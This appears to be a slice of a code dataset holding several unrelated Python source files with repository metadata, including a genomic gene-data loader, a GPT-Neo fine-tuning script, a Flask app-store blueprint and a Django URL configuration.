np\nimport pandas as pd\n\nfrom .util import log, append_if_not_none, get_unique_or_none, as_biopython_seq\n\nclass Gene(object):\n \n def __init__(self, symbol, name, refseq_ids, uniprot_record, canonical_cds_isoform):\n self.symbol = symbol\n self.name = name\n self.refseq_ids = refseq_ids\n self.uniprot_record = uniprot_record\n self.canonical_cds_isoform = canonical_cds_isoform\n \n def get_identifier(self):\n \n identifiers = []\n \n if self.symbol is not None:\n identifiers.append(self.symbol)\n \n identifiers.append(self.uniprot_record.id)\n return ', '.join(identifiers)\n \n def __repr__(self):\n return '' % (self.get_identifier(), self.canonical_cds_isoform) \n\nclass CDSIsoform(object):\n \n def __init__(self, transcript_id, chromosome, strand, cds_chromosomal_coordinates, genome_reader):\n self.transcript_id = transcript_id\n self.chromosome = chromosome\n self.strand = strand\n self.codon_table = 'Vertebrate Mitochondrial' if self.chromosome == 'M' else 'Standard'\n self._set_cds_exons(cds_chromosomal_coordinates, genome_reader)\n self.dna_seq = as_biopython_seq(''.join([str(cds_exon.seq) for cds_exon in self.cds_exons]))\n self.translated_seq = self.dna_seq.translate(table = self.codon_table)\n \n def __len__(self):\n return len(self.dna_seq)\n \n def __repr__(self):\n return '' % (self.transcript_id, self.chromosome, self.strand, \\\n len(self.cds_exons))\n \n def _set_cds_exons(self, cds_chromosomal_coordinates, genome_reader):\n \n self.cds_exons = []\n last_isoform_end = 0\n \n for chromosome_start, chromosome_end in cds_chromosomal_coordinates:\n cds_exon = CDSExon(self.chromosome, self.strand, chromosome_start, chromosome_end, last_isoform_end + 1, genome_reader)\n self.cds_exons.append(cds_exon)\n last_isoform_end = cds_exon.isoform_end\n \nclass CDSExon(object):\n\n def __init__(self, chromosome, strand, chromosome_start, chromosome_end, isoform_start, genome_reader):\n \n self.chromosome = chromosome\n self.strand = strand\n \n self.chromosome_start = chromosome_start\n self.chromosome_end = chromosome_end\n self.length = chromosome_end - chromosome_start + 1\n \n self.isoform_start = isoform_start\n self.isoform_end = isoform_start + self.length - 1\n self.phase = (self.isoform_start - 1) % 3\n \n self.positive_strand_seq = genome_reader.read_seq(chromosome, chromosome_start, chromosome_end)\n self.seq = self.positive_strand_seq if strand == '+' else self.positive_strand_seq.reverse_complement()\n \n def __repr__(self):\n return 'CDS Exon %d-%d at chr%s:%d-%d (%s)' % (self.isoform_start, self.isoform_end, self.chromosome, self.chromosome_start, \\\n self.chromosome_end, self.strand)\n\ndef load_genes(config_setup, genome_reader, uniprot_records):\n\n genes = []\n cds_records = _load_cds_records(config_setup)\n\n for uniprot_id, uniprot_cds_rows in cds_records.groupby('uniprot_id'):\n if uniprot_id in uniprot_records:\n append_if_not_none(genes, _parse_gene(uniprot_records[uniprot_id], uniprot_cds_rows, genome_reader))\n \n log('Parsed %d genes.' % len(genes))\n return genes\n \ndef _parse_gene(uniprot_record, cds_rows, genome_reader):\n \n cds_isoforms = [_parse_cds_isoform(transcript_id, transcript_cds_rows, genome_reader) for transcript_id, transcript_cds_rows in \\\n cds_rows.groupby('transcript_id')]\n matching_cds_isoforms = [isoform for isoform in cds_isoforms if isoform.translated_seq == uniprot_record.seq]\n \n if len(matching_cds_isoforms) > 0:\n symbol = get_unique_or_none(cds_rows['symbol'].unique())\n name = get_unique_or_none(cds_rows['name'].unique())\n refseq_ids = set.union(*map(set, cds_rows['refseqs']))\n return Gene(symbol, name, refseq_ids, uniprot_record, matching_cds_isoforms[0])\n else:\n return None \n\ndef _parse_cds_isoform(transcript_id, transcript_cds_rows, genome_reader):\n \n transcript_cds_rows = transcript_cds_rows.sort_values('exon_number')\n exon_numbers = transcript_cds_rows['exon_number']\n assert list(exon_numbers) == list(range(exon_numbers.min(), exon_numbers.max() + 1))\n \n chromosome, = transcript_cds_rows['chr'].unique()\n strand, = transcript_cds_rows['strand'].unique()\n cds_coordinates = [(row['start'], row['end']) for _, row in transcript_cds_rows.iterrows()]\n return CDSIsoform(transcript_id, chromosome, strand, cds_coordinates, genome_reader)\n \ndef _load_cds_records(config_setup):\n \n gene_annotations = _load_gene_annotations(config_setup)\n gene_meta_data = _load_gene_meta_data(config_setup)\n \n cds_records = gene_annotations[gene_annotations['type'] == 'CDS']\n cds_records = pd.merge(cds_records, gene_meta_data, left_on = 'gene_id', right_on = 'ensembel_id')\n\n cds_records['exon_number'] = cds_records['extra_fields'].apply(itemgetter('exon_number')).astype(int)\n cds_records['chr'] = cds_records['chr'].apply(lambda name: name[3:])\n cds_records['transcript_id'] = cds_records['extra_fields'].apply(itemgetter('transcript_id'))\n \n log('Constructed %d CDS records.' % len(cds_records))\n return cds_records\n \ndef _load_gene_annotations(config_setup):\n \n gene_annotations = pd.read_csv(config_setup.get_path('GENCODE_GENE_ANNOTATIONS_CSV_FILE_PATH'), sep = '\\t', comment = '#', \\\n names = ['chr', 'source', 'type', 'start', 'end', 'score', 'strand', 'phase', 'extra_fields'])\n gene_annotations['extra_fields'] = gene_annotations['extra_fields'].apply(_parse_annotation_extra_fields)\n gene_annotations['gene_id'] = gene_annotations['extra_fields'].apply(lambda extra_fields: extra_fields['gene_id'].split('.')[0])\n gene_annotations['gene_type'] = gene_annotations['extra_fields'].apply(itemgetter('gene_type'))\n \n log('Loaded %d gene annotations.' % len(gene_annotations))\n return gene_annotations\n \ndef _load_gene_meta_data(config_setup):\n \n with io.open(config_setup.get_path('GENENAMES_GENE_META_DATA_JSON_FILE_PATH'), 'r', encoding = 'utf-8') as f:\n raw_meta_data = json.load(f)\n \n ensembel_ids = []\n uniprot_ids = []\n refseqs = []\n symbols = []\n names = []\n gene_families = []\n\n for record in raw_meta_data['response']['docs']:\n for uniprot_id in record.get('uniprot_ids', []):\n ensembel_ids += [record.get('ensembl_gene_id', np.nan)]\n uniprot_ids += [uniprot_id]\n refseqs += [record.get('refseq_accession', [])]\n symbols += [record['symbol']]\n names += [record['name']]\n gene_families += [record.get('gene_family', [])]\n \n gene_meta_data = pd.DataFrame({'ensembel_id': ensembel_ids, 'uniprot_id': uniprot_ids, 'refseqs': refseqs, \\\n 'symbol': symbols, 'name': names, 'gene_families': gene_families})\n log('Loaded %d gene meta data records.' % len(gene_meta_data))\n return gene_meta_data\n \ndef _parse_annotation_extra_fields(raw_extra_fields):\n\n extra_fields = {}\n\n for raw_extra_field in raw_extra_fields[:-1].split(';'):\n key, raw_value = raw_extra_field.strip().split(' ')\n value = raw_value.strip('\"')\n extra_fields[key] = value\n \n return extra_fields\n","repo_name":"nadavbra/geneffect","sub_path":"geneffect/gene_data_loader.py","file_name":"gene_data_loader.py","file_ext":"py","file_size_in_byte":7772,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"6667649785","text":"import os\nimport smbus\nimport time\ndef current_milli_time():\n return round(time.time() * 1000)\nI2CBus = smbus.SMBus(1)\ndef get_i2c_data(sensors):\n global I2CBus\n data = []\n try:\n data = I2CBus.read_i2c_block_data(0x08, 0x00)\n except:\n return []\n buf = []\n for i in sensors:\n buf.append(data[i])\n return buf\n\ncurrent_file = None\ndef get_new_file(fileDir, name, ext):\n global current_file\n filename = fileDir + \"/\" + name + '.' + ext\n n = 1\n while os.path.isfile(filename):\n n = n + 1\n filename = fileDir + '/' + name + '-' + str(n) + '.' + ext\n current_file = filename\n return filename\n\ndef main():\n global current_file\n data_buf = []\n max_buf = 4000\n max_size_per_file = 150 #minutes\n fileDir = '.'\n fileName = 'Link-4aLeft-LowEnd-Second'\n ext = 'sdaq'\n num_writes = 0\n get_new_file(fileDir, fileName, ext)\n while True:\n data = get_i2c_data([3])\n \n if len(data) == 0:\n continue\n print(data)\n if len(data_buf) > max_buf:\n f = open(current_file, \"a\")\n f.write(str(data_buf))\n f.write(\"\\n\")\n f.close()\n data_buf = []\n num_writes += 1\n\n if num_writes > max_size_per_file:\n get_new_file(fileDir, fileName, ext)\n num_writes = 0\n \n data_buf.append(current_milli_time())\n data_buf.append(data)\n # data_buf.append(get_i2c_data([1, 2, 3, 4, 5]))\n \nmain()","repo_name":"AdamSeidman/SDAQ","sub_path":"Data/4_22_Calibration/attempts.py","file_name":"attempts.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"14920212189","text":"\nimport numpy as np\nimport pandas as pd\ndef toLowercase(df):\n return [str(lower).lower() for lower in df]\n\ndef toList(df):\n return [i.split(', ') for i in df]\n\ndef encode_usia(usia,jenis_usia, jumlah_jenis_usia, user = False):\n # Membuat vektor nol dengan panjang yang sama dengan jumlah usia\n encoded_usia = [0] * jumlah_jenis_usia\n\n for i in usia: \n # Menentukan indeks usia yang sesuai\n \n usia_index = jenis_usia.index(i)\n \n # Mengatur nilai 1 pada indeks usia yang sesuai\n encoded_usia[usia_index] = 1\n\n if user:\n encoded_usia[0] = 1\n \n return encoded_usia\n\ndef encode_category(category,jenis_kategori, jumlah_kategori):\n # Membuat vektor nol dengan panjang yang sama dengan jumlah kategori\n encoded_category = [0] * jumlah_kategori\n\n for i in category: \n # Menentukan indeks kategori yang sesuai\n category_index = jenis_kategori.index(i)\n \n # Mengatur nilai 1 pada indeks kategori yang sesuai\n encoded_category[category_index] = 1\n \n \n return encoded_category\n\ndef gen_user_vecs(user_vec, num_items):\n \"\"\" given a user vector return:\n user predict maxtrix to match the size of item_vecs \"\"\"\n user_vecs = np.tile(user_vec, (num_items, 1))\n return user_vecs\n\ndef convert_usia_user(df):\n if df.values[0] >= 15 and df.values[0] < 18:\n df = ['18-25']\n elif df.values[0] >= 18 and df.values[0] < 26:\n df = ['18-25']\n elif df.values[0] >= 26 and df.values[0] < 36:\n df = ['26-35']\n elif df.values[0] >= 36 and df.values[0] < 46:\n df = ['36-45']\n elif df.values[0] >= 46 and df.values[0] < 56:\n df = ['46-55']\n else:\n df = ['umum']\n \n return df\n \n# Fungsi rekomendasi kuesioner\ndef pred_kuesioner(y_p, item, items, maxcount=10):\n count = 0\n df_pred = pd.DataFrame(columns=[\"kuesioner_id\", \"ratarata_rating\", \"judul\",\"deskripsi\", \"rentang_umur\", \"kategori\", \"link\"])\n\n for i in range(0, y_p.shape[0]):\n if count == maxcount:\n break\n count += 1\n kuesioner_id = item[i, 0].astype(int) - 1\n new_row = pd.Series({\n \"kuesioner_id\": item[i, 0].astype(int), \n \"ratarata_rating\": np.around(item[i, 2].astype(float), 1), \n \"judul\": items[kuesioner_id,1],\n \"deskripsi\": items[kuesioner_id,2],\n \"rentang_umur\": items[kuesioner_id, 3], \n \"kategori\": items[kuesioner_id,4],\n \"link\": items[kuesioner_id,6]\n })\n df_pred = pd.concat([df_pred, new_row.to_frame().T], ignore_index=True)\n return df_pred","repo_name":"Bangkit-Capstone-C23-PC667/ML-Capstone-Project","sub_path":"endpoint/fungsi.py","file_name":"fungsi.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"ms","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70272060890","text":"import os\n\nimport torch\nfrom data_classes.showerthought_dataset import ShowerthoughtDataset\nfrom torch.utils.data import DataLoader\nfrom transformers import (AutoTokenizer, GPTNeoForCausalLM, Adafactor,\n get_linear_schedule_with_warmup )\nfrom transformers.optimization import AdafactorSchedule\nfrom utils import Constants, bootstrap\nfrom tqdm import tqdm\nimport wandb\nimport math\n\n# Hyperparameters\nBATCH_SIZE = 32\nEPOCHS = 3\nLEARNING_RATE = 7e-6\nWARMUP_STEPS = 1000\nMAX_SEQ_LEN = 100\n\ndef get_lr(opt):\n lrs = [\n opt._get_lr(group, opt.state[group[\"params\"][0]])\n for group in opt.param_groups\n if group[\"params\"][0].grad is not None\n ]\n if len(lrs) == 0:\n lrs = LEARNING_RATE # if called before stepping\n return lrs\n\nbootstrap()\n\ntorch.manual_seed(42)\ntokenizer = AutoTokenizer.from_pretrained('EleutherAI/gpt-neo-2.7B')\ntokenizer.padding_side = \"left\"\n# Define PAD Token = EOS Token = 50256\ntokenizer.pad_token = tokenizer.eos_token\nmodel = GPTNeoForCausalLM.from_pretrained('EleutherAI/gpt-neo-2.7B', torch_dtype=torch.float16)\nmodel.resize_token_embeddings(len(tokenizer))\nmodel.config.pad_token_id = tokenizer.eos_token_id\n\nmodel = model.to(Constants.device)\n\nmodel.train()\n\nproc_seq_count = 0\nbatch_count = 0\ntmp_showerthoughts_tens = None\ndataset = ShowerthoughtDataset(showerthoughts_dataset_path = '../data')\nthoughts_loader = DataLoader(dataset, batch_size=BATCH_SIZE, shuffle=True)\n\n# optimizer = bnb.optim.AdamW8bit(model.parameters(), lr=LEARNING_RATE, betas=(0.9, 0.995))\n# scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=WARMUP_STEPS, num_training_steps = len(thoughts_loader))\noptimizer = Adafactor(model.parameters(), scale_parameter=False, relative_step=False, warmup_init=False, lr=LEARNING_RATE)\n#scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=WARMUP_STEPS, num_training_steps=len(thoughts_loader))\n\n\nwandb.init(project=\"test-project\", entity=\"reddit-impostor\", name=f\"batch={BATCH_SIZE} lr={LEARNING_RATE}\")\nwandb.config = {\n \"batch_size\": BATCH_SIZE,\n \"epochs\": EPOCHS,\n \"learning_rate\": LEARNING_RATE,\n \"warmup_steps\": WARMUP_STEPS,\n \"max_seq_len\": MAX_SEQ_LEN\n}\n\nfor epoch in range(EPOCHS):\n \n print(f\"EPOCH {epoch} started\" + '=' * 30)\n sum_loss = 0\n for batch in tqdm(thoughts_loader, total=len(thoughts_loader)):\n thoughts_tensor = tokenizer(batch[0], return_tensors=\"pt\", padding=True, truncation=True, max_length=MAX_SEQ_LEN)['input_ids'].clone().detach().to(Constants.device)\n for showerthought in batch[1:]:\n temp = tokenizer(showerthought, return_tensors=\"pt\", padding=True, truncation=True, max_length=MAX_SEQ_LEN)['input_ids'].clone().detach().to(Constants.device)\n thoughts_tensor = torch.cat([thoughts_tensor.clone().detach(), temp], dim=1)\n \n if torch.isnan(thoughts_tensor).any().item():\n print(\"Input tensor contains NaN\")\n continue\n # Always clear any previously calculated gradients before performing a\n # backward pass.\n model.zero_grad()\n optimizer.zero_grad()\n \n outputs = model(thoughts_tensor, labels=thoughts_tensor)\n loss = outputs.loss\n logits = outputs.logits\n sum_loss = sum_loss + loss.detach().item()\n loss.backward()\n wandb.log({\"loss\": loss})\n if (math.isnan(loss)):\n print(\"Loss became NaN\")\n exit(1)\n # Clip the norm of the gradients to 1.0.\n # This is to help prevent the \"exploding gradients\" problem.\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n \n # Update parameters and take a step using the computed gradient.\n # The optimizer dictates the \"update rule\"--how the parameters are\n # modified based on their gradients, the learning rate, etc.\n optimizer.step()\n \n avg_epoch_loss = sum_loss / len(thoughts_loader)\n wandb.log({\"avg_epoch_loss\": avg_epoch_loss})\n print(f\"\\n Average epoch loss: {avg_epoch_loss} \\n\") \n # Store the model on every epoch\n torch.save(model.state_dict(), os.path.join(Constants.checkpoints_folder, f\"gpt_neo_showerthought_{epoch}.pt\"))\n","repo_name":"tbuz/Reddit_Impostor","sub_path":"models/gpt_neo_showerthoughts_training.py","file_name":"gpt_neo_showerthoughts_training.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"74002245209","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 17 11:10:15 2018\n\n@author: lixiaodan\n\"\"\"\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn import preprocessing\nimport pandas as pd\nfrom sklearn.cross_validation import train_test_split\nimport numpy as np\nfrom keras.utils import np_utils\nfrom keras.layers import Dropout\nfrom keras.optimizers import SGD\n\nseed = 7\nnp.random.seed(seed)\n\n# define baseline model\ndef DNN(X_train, Y_train, batch_size, epochs, dropout):\n\t# create model\n model = Sequential() \n model.add(Dense(20, input_dim=X_train.shape[1], init='normal', activation='relu'))\n model.add(Dropout(dropout))\n model.add(Dense(100, init='normal', activation='relu'))\n model.add(Dropout(dropout))\n model.add(Dense(200, init='normal', activation='relu'))\n model.add(Dropout(dropout))\n model.add(Dense(200, init='normal', activation='relu'))\n model.add(Dropout(dropout))\n model.add(Dense(200, init='normal', activation='relu'))\n model.add(Dropout(dropout))\n #sgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\n model.add(Dense(Y_train.shape[1], init='normal', activation='softmax'))\n model.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n #model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n print(model.summary())\n model.fit(X_train, Y_train, batch_size, epochs)\n return model\n\ndef getAccuracy(prediction, y_test): ### prediction and y_test are both encoded.\n sample_size = prediction.shape[0]\n col_num = prediction.shape[1]\n correct_num = 0\n wrong_num = 0\n for i in range(sample_size):\n cur_row = prediction[i,:]\n max = 0\n max_id = 0\n res_id = 0 \n for j in range(col_num):\n if cur_row[j] > max:\n max = cur_row[j]\n max_id = j\n for k in range(col_num):\n if y_test[i, k] == 1:\n res_id = k\n break\n if res_id == max_id:\n correct_num = correct_num + 1\n else:\n wrong_num = wrong_num + 1\n accuracy = float(correct_num) / sample_size\n return accuracy\n\n#wikidata = pd.read_csv('/Users/lixiaodan/Desktop/wikipedia_project/dataset/wikipedia_with_all_features.csv')\nwikidata = pd.read_csv('/Users/lixiaodan/Desktop/wikipedia_project/dataset/wikipedia_without_network.csv')\n\n### process one hot shot \n#labels = wikidata.select_dtypes(include=[object])\nlabels = wikidata[\"page_class\"]\nfor i in range(labels.shape[0]):\n if labels[i] == 'FA' or labels[i] == 'AC':\n labels.loc[i] = '0'\n elif labels[i] == 'GA' or labels[i] == 'BC':\n labels.loc[i] = '1'\n elif labels[i] == 'ST' or labels[i] == 'SB':\n labels.loc[i] = '2'\n\nlabels = labels.convert_objects(convert_numeric=True)\nprint(labels)\nonehotlabels = np_utils.to_categorical(labels)\n\n### preprocess features\nfeatures = wikidata.iloc[:, 0:-1]\nmin_max_scaler = preprocessing.MinMaxScaler()\nfeatures_minmax = min_max_scaler.fit_transform(features)\n\nX_train, X_test, Y_train, Y_test = train_test_split(features_minmax, onehotlabels, test_size=0.3, random_state=seed)\n\nepochs = 50\nbatch_size = 30\ndropoutRate = 0.2\n\nmodel = DNN(X_train, Y_train, batch_size, epochs, dropoutRate)\npredictions = model.predict(X_test)\nprecision = getAccuracy(predictions, Y_test)\nprint(\"precision\")\nprint(precision)","repo_name":"Daniellee1990/Wikipeida_quality_analysis","sub_path":"wiki_dnn.py","file_name":"wiki_dnn.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"35612305508","text":"\n\n\nimport numpy as np\nfrom numpy.linalg import norm\nfrom fixed_point_schemes import fixed_point_schemes\nfrom problem_loader import problem_loader\nimport matplotlib.pyplot as plt\nimport tikzplotlib\nimport itertools\n\n\n# markers = itertools.cycle(('o', '*', 'v', '^', '>', '<', '8', 's', 'p', 'P', 'h', 'H', 'X', 'd')) \n# markers = itertools.cycle(('+', 'x', '|', '_')) \nmarkers = itertools.cycle(('x'))\n\ndef run_problems(problems, methods, export_name='norm_gk', show_plots=True, ms = None, plot_densities=None, withms=None, K_maxs=None):\n # vary problems and solvers\n\n if not withms:\n withms = len(methods)*[False]\n if not plot_densities:\n plot_densities = len(problems)*[1]\n if not K_maxs:\n K_maxs = len(problems)*[1000]\n\n for i, problem in enumerate(problems):\n plot_density = int(1/plot_densities[i])\n fig, ax = plt.subplots()\n for j, method in enumerate(methods):\n tmp = ms if withms[j] else [5]\n for m in tmp:\n solver = problem_loader(problem, method=method, m=m, K_max=K_maxs[i])\n norm_g_ks = solver.run()\n labeltext = f'{method}, m={m}' if withms[j] else f'{method}'\n ax.semilogy(range(0, len(norm_g_ks), plot_density), norm_g_ks[::plot_density], label=labeltext, linestyle='', marker=next(markers))\n plt.legend(title='method')\n if show_plots:\n plt.show()\n else:\n ax.set(xlabel=r'iteration number $k$', ylabel=r'residual $\\norm{g_k}/\\norm{g_0}$')\n tikzplotlib.save(f'../Plots/{export_name}_{problem}.pgf')\n\n\nif __name__ == '__main__':\n problems = ['CO', 'GD', 'ISTA', 'VI']\n methods = ['aa1-matrix', 'aa1', 'aa1-safe', 'aa2-matrix', 'original']\n ms = [2,5,10,20,50]\n withms = [True, True, False]\n\n if True:\n run_problems(problems[2:3], methods, 'method_comparison', False)\n if False:\n run_problems(problems[:-1], methods[2:3], 'memory_comparison', False, ms, len(problems)*[0.1], len(methods)*[True])\n if True:\n run_problems(problems[3:4], methods, 'method_comparison', False, K_maxs=[100])\n if True:\n run_problems(problems[3:4], methods[2:3], 'memory_comparison', False, ms, withms=[True], K_maxs=[100])\n ","repo_name":"TheoKoppenhoefer/numerics-seminar-VT23","sub_path":"Source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6295555539","text":"# userland.py\n# (C) 2021 Marquis Kurt, Nodar Sotkilava, and Unscripted VN Team.\n\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https: //mozilla.org/MPL/2.0/.\n\nfrom os import path, listdir\nfrom sys import stderr\nfrom flask import Blueprint, render_template, abort, jsonify, request, session, url_for, Markup, redirect, current_app\nfrom commonmark import commonmark\nfrom . import roland as ro\nfrom .database import connect_database, frontpage_config\n\nuserland = Blueprint(\"userland\", __name__,\n template_folder=\"../templates\", static_folder=\"../static\")\n\n\ndef _retrieve_docs_list():\n \"\"\"Returns a dictionary containing the Markdown files in the pages directory.\n\n The keys correspond to the filenames, excluding the extension, and the values correspond to their HTML title\n versions.\n \"\"\"\n return {\n file.replace(\".md\", \"\"): file.replace(\".md\", \"\").replace(\"_\", \" \").title() \\\n for file in listdir(\"pages\") if not file.startswith(\".\")\n }\n\n\n@userland.route(\"/\")\ndef index():\n \"\"\"Renders the custom homepage as provided by the administrator.\n \n For environments where providing a json file is not feasible, admins can supply FRONTPAGE_CONFIG to hange \n customization.\n \"\"\"\n # if not connect_database():\n # return __database_failure()\n fconfig = frontpage_config()\n featured = ro.projects.get_project(\n connect_database(), fconfig[\"featured_project\"]) if \"featured_project\" in fconfig else None\n lists = [l for l in ro.lists.get_all_curator_lists(\n connect_database()) if l[\"name\"] in fconfig[\"featured_lists\"]] if \"featured_lists\" in fconfig else []\n l_projects = {l[\"listid\"]: ro.lists.get_projects_from_list(\n connect_database(), l[\"listid\"]) for l in lists}\n return render_template(\"pages/index.html\", featured=featured, lists=lists, l_projs=l_projects), 200\n\n\n@userland.route(\"/docs//\")\ndef documentation(page_name: str):\n \"\"\"Support for documentation pages provided in Markdown are rendered safely according to Commonmark specification.\"\"\"\n\n if not path.isfile(f\"pages/{page_name}.md\"):\n abort(404)\n with open(f\"pages/{page_name}.md\", 'r') as pagefile:\n content = Markup(commonmark(pagefile.read()))\n\n docs = _retrieve_docs_list()\n title = page_name.replace(\"_\", \" \").title()\n return render_template(\"markdown.html\", content=content, title=title, docs=docs), 200\n\n\n@userland.route(\"/apps/\")\ndef prod_apps():\n \"\"\"Renders a page of all the projects that are type App\"\"\"\n\n try:\n all_apps = ro.projects.list_projects(connect_database(), filter_by_type=[\n ro.projects.ProjectType.App])\n error = None\n except Exception as err:\n all_apps = []\n error = err\n print(err, stderr)\n return render_template(\"pages/userland/apps.html\", apps=all_apps, error=error), 200\n\n\n@userland.route(\"/services/\")\ndef services_list():\n \"\"\"Renders a page of all the projects that are type Services\"\"\"\n\n try:\n all_apps = ro.projects.list_projects(connect_database(), filter_by_type=[\n ro.projects.ProjectType.CoreService])\n error = None\n except Exception as err:\n all_apps = []\n error = err\n print(err, stderr)\n return render_template(\"pages/userland/services.html\", apps=all_apps, error=error), 200\n\n\n@userland.route(\"/frameworks/\")\ndef frameworks_list():\n \"\"\"Renders a page of all the projects that are type Framework\"\"\"\n\n try:\n all_apps = ro.projects.list_projects(connect_database(), filter_by_type=[\n ro.projects.ProjectType.Framework])\n error = None\n except Exception as err:\n all_apps = []\n error = err\n print(err, stderr)\n return render_template(\"pages/userland/frameworks.html\", apps=all_apps, error=error), 200\n\n\n@userland.route(\"/lists/\")\ndef prod_lists():\n \"\"\"Renders the curated lists provided by Curators to the User\"\"\"\n\n lists = ro.lists.get_all_curator_lists(connect_database())\n projects_for_lists = {}\n for list in lists:\n projects_for_lists[list[\"listid\"]] = ro.lists.get_projects_from_list(\n connect_database(), list[\"listid\"])\n return render_template(\"pages/lists.html\", lists=lists, projects=projects_for_lists), 200\n\n\n@userland.route(\"/apps//\")\ndef project_detail(project_id):\n \"\"\"Renders a detailed page of project with a given project_id.\n \n Page includes download link, summary of the project, user reviews, and permisions.\n \"\"\"\n\n app = ro.projects.get_project(connect_database(), project_id)\n if not app:\n abort(404)\n reviews = ro.projects.get_reviews(connect_database(), project_id)\n reviewer_name = {}\n for review in reviews:\n reviewer_name[review[\"userid\"]] = ro.accounts.get_account(connect_database(), review[\"userid\"])[\"name\"]\n permissions = [] if not app[\"permissions\"] else \\\n [ro.projects.get_permission(connect_database(), val)\n for val in app[\"permissions\"]]\n\n developer = ro.projects.get_developer(connect_database(), app[\"id\"])\n related = ro.projects.get_projects_by_developer(\n connect_database(), developer[\"userid\"])\n\n return render_template(\n \"pages/app_detail.html\", app=app, permissions=permissions, dev=developer, rel=related, reviews = reviews,\n reviewer_name = reviewer_name), 200\n\n\n@userland.route(\"/apps/developer//\")\ndef developer_detail(developer_id: int):\n \"\"\"Renders a page of all the projects made by the specified developer.\"\"\"\n\n developer = ro.accounts.get_account(connect_database(), developer_id)\n if not developer:\n abort(404)\n if developer[\"accounttype\"] == ro.accounts.AccountType.UserAccount:\n abort(500)\n\n projects_by_dev = ro.projects.get_projects_by_developer(\n connect_database(), developer[\"userid\"])\n return render_template(\"pages/dev_detail.html\", developer=developer, projects=projects_by_dev), 200\n\n@userland.route(\"/projects/add-review\", methods=[\"GET\", \"POST\"])\ndef add_project_review():\n \"\"\"API endpoint to add a user review to the project.\n \n Users are then redirected to the project page.\n \"\"\"\n\n ro.projects.post_review(connect_database(), session.get(\"cuid\"), request.form[\"project_id\"], request.form[\"rating\"],\n request.form[\"comments\"])\n return redirect(url_for(\"userland.project_detail\", project_id = request.form['project_id']))\n\n@userland.route(\"/lists//\")\ndef list_detail(id: int):\n \"\"\"Renders a detailed view of the curated list, including all the projects in it\"\"\"\n\n curated_list = ro.lists.get_one_list(connect_database(), str(id))\n projects = ro.lists.get_projects_from_list(connect_database(), str(id))\n curator = ro.accounts.get_account(\n connect_database(), curated_list[\"userid\"])\n return render_template(\"pages/list_detail.html\", list=curated_list, projects=projects, curator=curator), 200\n\n@userland.route(\"/account/settings\")\ndef account_settings():\n \"\"\"Renders a page for Users to manage their account.\n \n Users are able to change their name and email, manage GitHub Data and delete their account\n \"\"\"\n\n if not session.get(\"cuid\") or not session.get(\"login_token\"):\n abort(401)\n user = ro.accounts.get_account(connect_database(), int(session.get(\"cuid\")))\n rxw_cid = current_app.config[\"GH_CLIENT_ID\"]\n return render_template(\"pages/userland/account.html\", user=user, rxw_cid=rxw_cid), 200\n\n\n@userland.route(\"/account/update\", methods=[\"GET\", \"POST\"])\ndef update_account():\n \"\"\"API endpoint that updates the User's name and/or email in the DB.\"\"\"\n\n if \"userId\" not in request.form:\n abort(400)\n if str(session.get(\"cuid\")) != str(request.form[\"userId\"]):\n abort(403)\n try:\n ro.accounts.update_user_settings(\n connect_database(), request.form[\"userId\"], request.form[\"email\"], request.form[\"name\"])\n return redirect(url_for('userland.account_settings'))\n except Exception as error:\n print(error, stderr)\n abort(500)\n\n@userland.route(\"/account/delete\", methods=[\"GET\", \"POST\"])\ndef yeetus_deeletus_user():\n \"\"\"As the function name implies, API endpoint that deletes that User's account.\"\"\"\n \n if \"userId\" not in request.form or \"rxw_delete_confirm\" not in request.form:\n abort(400)\n if request.form[\"rxw_delete_confirm\"] != \"I understand. Delete my account.\":\n abort(400, description='User did not confirm account deletion.')\n if str(session.get(\"cuid\")) != str(request.form[\"userId\"]):\n abort(403)\n try:\n ro.accounts.delete_user(\n connect_database(), request.form[\"userId\"], ro.accounts.AccountType(int(request.form[\"type\"])))\n return redirect(url_for('auth.auth_logout'))\n except Exception as error:\n print(error, stderr)\n abort(500)\n","repo_name":"UnscriptedVN/appstore","sub_path":"src/userland.py","file_name":"userland.py","file_ext":"py","file_size_in_byte":9111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23573027418","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include(('webapp.urls', 'webapp'), namespace='webapp_urls')),\n path('api/', include(('main_ssm.urls', 'main_ssm'), namespace='api')),\n]\n\n\n'''\nfor reverse we need namespace:name or app_namespace:name (both are acceptable) \nand there are three ways to define namespace, and it can be done via include in the urlpatterns\n\n\n1. include(module, namespace=None)\n\n -> Define your desired app_namespace in the correspoding app, for example in webapp.urls file I have\n defined one and commented it.\n\n -> Here module will be webapp.urls and namespace is the corresponding namespace to all the patterns in webapp.urls\n\n2. include(pattern_list)\n\n -> here we directly define the pattern list(not webapp.urls, this format is used above and namespace=None in that case)\n but we can't give namespace here, to specify that, use the following approach\n\n3. include((pattern_list/module, app_namespace), namespace=None)\n \n -> This approach is helpful, when we are working with a module 'X' which we don't want to modify(1st way isn't possible) or it is inaccessible, \n you can't just write 